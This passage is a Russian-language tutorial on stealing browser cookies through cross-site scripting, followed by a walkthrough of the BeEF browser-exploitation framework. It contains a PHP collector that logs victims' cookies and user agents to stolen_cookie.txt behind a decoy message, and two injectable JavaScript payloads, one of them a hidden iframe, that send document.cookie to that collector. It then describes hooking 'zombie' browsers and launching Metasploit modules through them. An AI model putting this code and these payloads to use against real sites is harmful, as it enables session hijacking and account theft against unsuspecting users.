Первая составляющая: скрипт collect_cookie.php

Ниже приведен PHP-скрипт, который будет использован для сбора файлов куки и их запись в файл stolen_cookie.txt

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER[‘HTTP_USER_AGENT’];
$file=fopen(‘stolen_cookie.txt’,’a’);
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo ‘<b>Извините, сайт находится в состоянии разработки. </b></br></br>Пожалуйста, нажмите<a
href="http://www.google.com/">здесь</a>, чтобы перейти на предыдущую страницу’;
?>

Разберемся, что делает данный скрипт:

В данной строке происходит сохранения значения переменной «cookies» из GET-запроса в переменную «collectedCookie»
$date=date("l ds of F Y h:i:s A");

Здесь происходит сохранение времени соединения, по нему можно определить время кражи cookies.

Сохранение user_agent жертвы для осуществления будущих атак, если они потребуются.

В этой строке происходит создание файла stolen_cookie.txt, в котором будут храниться похищенные данные.

fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$collectedCookie \n");

Сохранение данных в следующем формате: (“ДАТА: || USER AGENT || COOKIE”)

echo ‘<b>Извините, сайт находится в состоянии разработки. </b></br></br>Пожалуйста, нажмите<a
href="http://www.google.com/">здесь</a>, чтобы перейти на предыдущую страницу’;

Осуществляется вывод на экран текста (“Извините, сайт находится в состоянии разработки”) и ссылки, ведущая на страницу google.com.
Первый шаг к сбору информации о cookies закончен.

Вторая составляющая: JavaScript-код

Ниже приведен JavaScript-код, который необходимо выполнить в браузере пользователя. Можно внедрить любой из нижеприведенных сценариев:

<a onclick="document.location=’http://127.0.0.1/collect_cookie.php?
cookie=’+escape(document.cookie);" href="#">Click here for Details</a>

Данный скрипт требует реакции пользователя, поскольку выводит на экран ссылку на наш сайт. Если пользователь нажмет на показанную ему ссылку, то он попадет на наш сайт и его файлы куки будут украдены.

<iframe width=’0′ height=’0′ frameborder=’0′
src='<script>document.location=’http://127.0.0.1/collect_cookie.php?
cookie=’+escape(document.cookie);</script>’ />

Этот скрипт не требует никаких действий со стороны пользователя. Во втором случае на сайт жертвы внедряется скрытый IFrame, невидимый для глаз пользователя.

В итоге украденные файлы куки окажутся в файле stolen_cookie.txt. По ссылке ниже доступно видео, демонстрирующие как можно украсть файлы куки: http://www.youtube.com/watch?v=ZeLyJnhz4ak

Что такое BeEF?

BeEF (сокращение от Browser Exploitation Framework) – платформа для эксплуатации браузеров. BeEF используется для разнообразных атак на компьютеры пользователей с целью их захвата. Наличие этого инструмента значительно облегчает работу, поскольку многие рутинные операции уже автоматизированы.

Поскольку операция захвата компьютера-зомби автоматизирована, с помощью приложения beef (Browser Exploitation Framework) можно захватывать множество компьютеров-зомби (так называют компьютеры, которые находятся внутри ботнета).

На официальном сайте проекта BeEF содержится следующее описание программы: «Browser Exploitation Framework (BeEF) – это мощная профессиональная утилита. В BeEF реализованы последние методы атак, которые используют специалисты в области тестов на проникновение с богатым практическим опытом атак на клиентские приложения. В отличие от остальных платформ безопасности, BeEF ориентирован на эксплуатацию уязвимостей в браузерах для получения контроля над компьютером. Данный проект разрабатывается исключительно для легальных исследований и тестов на проникновение.»

Вы можете загрузить BeEF с сайта проекта http://beefproject.com.

Как использовать BeEF?

BeEF устанавливается по умолчанию вместе с дистрибутивом BackTrack 5 R2. Вы можете загрузить BackTrack 5 R2 с официального сайта http://www.backtrack-linux.org/downloads/. Чтобы открыть и настроить BeEF, необходимо нажать на кнопку главного меню, а затем перейти Backtrack -> Exploitation Tools -> Social Engineering Tools->BeEF XSS Framework->.

После запуска beef-ng на экране отобразиться консоль приложения:

Теперь Вы можете открыть панель управления BeEF, перейдя по ссылке и используя «beef»/«beef» в качестве логина и пароля.

Необходимо поместить JavaScript-код на сервер или клиент жертвы, чтобы захватить компьютер-зомби. Код выглядит следующим образом:

Ниже можно увидеть список захваченных компьютеров зомби и их статус присутствия в сети.

Обратите внимание на вкладку Commands

Как можно увидеть, существует довольно много эксплоитов, которые можно использовать. Например, можно выбрать модуль misc->alert dialog. Вы можете выбрать такой модуль, какой захотите.

Ниже виден результат. Как мы и ожидали, скрипт выполнился, и появилось окошко с предупреждением.

Как вы видите, процесс полностью автоматизирован. Вам только нужно настроить и запустить модуль. Интеграция beef и metasploit заслуживает отдельного внимания. На вкладке Command Вы можете увидеть модуль metasploit. Зайдите туда и посмотрите, насколько богатый функционал предоставляет модуль metasploit. Вы увидите страницу, на которой можно будет выбрать любой эксплоит из набора metasploit и любую настраиваемую полезную нагрузку.

Дополнительная информация о beef расположена по адресу: https://github.com/beefproject/beef/wiki

Заключение

Как мы убедились, наш JavaScript-код был выполнен. Таким же образом могут выполняться и вредоносные коды, которые распространены в интернете. BeEF дает атакующему огромное количество информации, которую можно сохранять и использовать в дальнейших атаках, для получения удаленного доступа.

Мы надеемся, что приведенная информация окажется для вас полезной, в будущем мы предоставим еще много полезного материала для изучения.
Похожие публикации: